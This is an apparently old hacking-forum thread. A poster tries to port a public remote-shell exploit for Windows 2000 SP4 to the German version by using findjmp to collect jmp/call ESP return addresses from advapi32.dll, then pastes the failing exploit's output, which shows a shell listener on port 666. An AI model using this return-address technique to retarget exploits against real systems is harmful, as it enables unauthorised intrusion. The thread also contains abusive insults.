findjmp, like i said a few posts back, if all u skiddies botherd to read shit, uz might fuckin learn something 
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Thx for the advice, but I was asking for a bit more information...
Anyway as I don't like when people are calling me a "skiddy" I tried on my own to find a way to my problem (I could have done that before, but I was just being lazy and hoping someone would help

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Now what I did is the following:
- Trying to find out which register I should look for in the "advapi32.dll" by comparing the value of the return adress which is in the code and the one I get by using findjmp on a Win2K SP4 English machine.
The following result led me to the fact that I have got to look for ESP register
Scanning advapi32.dll for code useable with the ESP register
0x7C2E97AB call ESP
0x7C2E9B53 jmp ESP
0x7C2EE21B jmp ESP
0x7C2F9561 push ESP - ret
0x7C2FA0F7 jmp ESP
Finished Scanning advapi32.dll for code useable with the ESP register
Found 5 usable addresses
- Now doing the same findjmp command on a Win2K SP4 German I get the following:
Scanning advapi32.dll for code useable with the ESP register
0x79386A55 push ESP - ret
0x7938D043 jmp ESP
0x7938D58C call ESP
0x7938DE83 call ESP
0x7938E083 call ESP
Finished Scanning advapi32.dll for code useable with the ESP register
Found 5 usable addresses
- At that point I'm not sure if that's good or not, but I have got to admit that as I don't know much of registers and assembly I can only guess for the best

So It looked like to me that the address 0x7938D043 might be the one I was looking for in order to make the exploit work on a German Win2k
- Compiled the whole thing, and tested but doesn't work...
====== D4m3w4r3 eXpLo1t, By jpno5 ======
====== http://www.jpno5.com ======
[#] Listening For Shell On: 666...
[*] Target: WIN 2000 SP: 4...
[*] Waiting for Shell...
[*] Enjoy...
[x] Connection closed.
But the difference is that it didn't crashed the service...
So now, could someone tell me if I did it all wrong or if I have to look for something else ?